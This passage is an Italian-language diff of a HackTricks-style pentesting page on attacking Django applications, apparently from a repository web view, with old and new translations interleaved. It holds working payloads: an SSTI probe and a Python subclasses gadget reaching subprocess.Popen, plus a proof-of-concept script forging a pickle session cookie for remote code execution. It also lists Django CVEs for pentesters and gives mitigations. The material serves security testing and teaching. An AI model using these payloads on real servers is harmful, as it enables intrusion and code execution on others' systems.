La cache di Django viene memorizzata in uno di quattro posti: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database sono i vettori di attacco più probabili (Redis injection e SQL injection), ma un attacker potrebbe anche sfruttare la cache basata su file per trasformare una scrittura arbitraria in RCE. I maintainer hanno classificato questo come non-issue. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis variano in base all'implementazione.
|
||||
|
||||
Questo rapporto di HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
|
||||
Questo report HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Iniezione di Template lato Server (SSTI)
|
||||
Il Django Template Language (DTL) è **Turing-completo**. Se i dati forniti dall'utente vengono resi come una *stringa di template* (ad esempio chiamando `Template(user_input).render()` o quando `|safe`/`format_html()` rimuove l'auto-escaping), un attaccante può ottenere SSTI completo → RCE.
|
||||
## Server-Side Template Injection (SSTI)
|
||||
The Django Template Language (DTL) is **Turing-complete**. Se dati forniti dall'utente vengono renderizzati come *template string* (ad esempio chiamando `Template(user_input).render()` o quando `|safe`/`format_html()` rimuovono l'escaping automatico), un attacker può ottenere pieno SSTI → RCE.
|
||||
|
||||
### Rilevamento
|
||||
1. Cerca chiamate dinamiche a `Template()` / `Engine.from_string()` / `render_to_string()` che includano *qualsiasi* dato di richiesta non sanitizzato.
|
||||
2. Invia un payload basato su tempo o aritmetico:
|
||||
1. Cerca chiamate dinamiche a `Template()` / `Engine.from_string()` / `render_to_string()` che includono *qualsiasi* dato della request non sanitizzato.
|
||||
2. Invia un payload basato sul tempo o aritmetico:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
Se l'output reso contiene `49`, l'input è compilato dal motore di template.
|
||||
Se l'output renderizzato contiene `49` l'input è compilato dal template engine.
|
||||
|
||||
### Primitiva a RCE
|
||||
### Primitive per RCE
|
||||
Django blocca l'accesso diretto a `__import__`, ma il grafo degli oggetti Python è raggiungibile:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
@ -33,18 +33,27 @@ Trova l'indice di `subprocess.Popen` (≈400–500 a seconda della build di Pyth
|
||||
```
|
||||
Un gadget universale più sicuro è iterare fino a `cls.__name__ == 'Popen'`.
|
||||
|
||||
Lo stesso gadget funziona per le funzionalità di rendering dei template di **Debug Toolbar** o **Django-CMS** che gestiscono male l'input dell'utente.
|
||||
Lo stesso gadget funziona per **Debug Toolbar** o **Django-CMS** nelle funzionalità di rendering dei template che gestiscono male l'input utente.
|
||||
|
||||
---
|
||||
|
||||
## RCE con Cookie di Sessione Basato su Pickle
|
||||
Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o un serializer personalizzato che deserializza pickle), Django *decritta e deserializza* il cookie di sessione **prima** di chiamare qualsiasi codice di vista. Pertanto, possedere una chiave di firma valida (il `SECRET_KEY` del progetto per impostazione predefinita) è sufficiente per un'immediata esecuzione remota di codice.
|
||||
### Vedi anche: ReportLab/xhtml2pdf PDF export RCE
|
||||
Le applicazioni costruite su Django comunemente integrano xhtml2pdf/ReportLab per esportare le view in PDF. Quando HTML controllato dall'utente fluisce nella generazione del PDF, rl_safe_eval può valutare espressioni all'interno delle triple parentesi `[[[ ... ]]]` permettendo l'esecuzione di codice (CVE-2023-33733). Dettagli, payload e mitigazioni:
|
||||
|
||||
### Requisiti per l'Exploit
|
||||
* Il server utilizza `PickleSerializer`.
|
||||
* L'attaccante conosce / può indovinare `settings.SECRET_KEY` (leak tramite GitHub, `.env`, pagine di errore, ecc.).
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
### Prova di Concetto
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o un serializer personalizzato che deserializza pickle), Django *decrypts and unpickles* il cookie di sessione **prima** di chiamare qualsiasi codice della view. Pertanto, possedere una chiave di signing valida (il `SECRET_KEY` del progetto di default) è sufficiente per un'immediata remote code execution.
|
||||
|
||||
### Exploit Requirements
|
||||
* Il server usa `PickleSerializer`.
|
||||
* L'attaccante conosce / può indovinare `settings.SECRET_KEY` (leaks via GitHub, `.env`, pagine di errore, ecc.).
|
||||
|
||||
### Proof-of-Concept
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
@ -60,20 +69,21 @@ print(f"sessionid={mal}")
|
||||
```
|
||||
Invia il cookie risultante e il payload viene eseguito con i permessi del worker WSGI.
|
||||
|
||||
**Mitigazioni**: Mantieni il `JSONSerializer` predefinito, ruota `SECRET_KEY` e configura `SESSION_COOKIE_HTTPONLY`.
|
||||
**Mitigazioni**: Mantieni il default `JSONSerializer`, ruota `SECRET_KEY` e configura `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## Recenti (2023-2025) CVE Django ad Alto Impatto che i Pentester Dovrebbero Controllare
|
||||
* **CVE-2025-48432** – *Iniezione di Log tramite `request.path` non escapato* (risolto il 4 giugno 2025). Consente agli attaccanti di introdurre nuove righe/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Iniezione SQL critica* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Crea chiavi JSON per uscire dalle virgolette ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
|
||||
## Recenti (2023-2025) CVE Django ad alto impatto che Pentesters dovrebbero verificare
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixato il 4 giugno 2025). Consente agli attaccanti di introdurre newline/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Costruire chiavi JSON per uscire dal quoting ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
|
||||
|
||||
Fingerprint sempre la versione esatta del framework tramite la pagina di errore `X-Frame-Options` o l'hash di `/static/admin/css/base.css` e testa quanto sopra dove applicabile.
|
||||
Esegui sempre il fingerprint della versione esatta del framework tramite la pagina di errore `X-Frame-Options` o l'hash di `/static/admin/css/base.css` e testa quanto sopra dove applicabile.
|
||||
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
* Rilascio di sicurezza Django – "Django 5.2.2, 5.1.10, 4.2.22 affrontano CVE-2025-48432" – 4 giu 2025.
|
||||
* OP-Innovate: "Django rilascia aggiornamenti di sicurezza per affrontare il difetto di iniezione SQL CVE-2024-42005" – 11 ago 2024.
|
||||
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
|
||||
* 0xdf: University (HTB) – Sfruttando xhtml2pdf/ReportLab CVE-2023-33733 per ottenere RCE e pivotare in AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user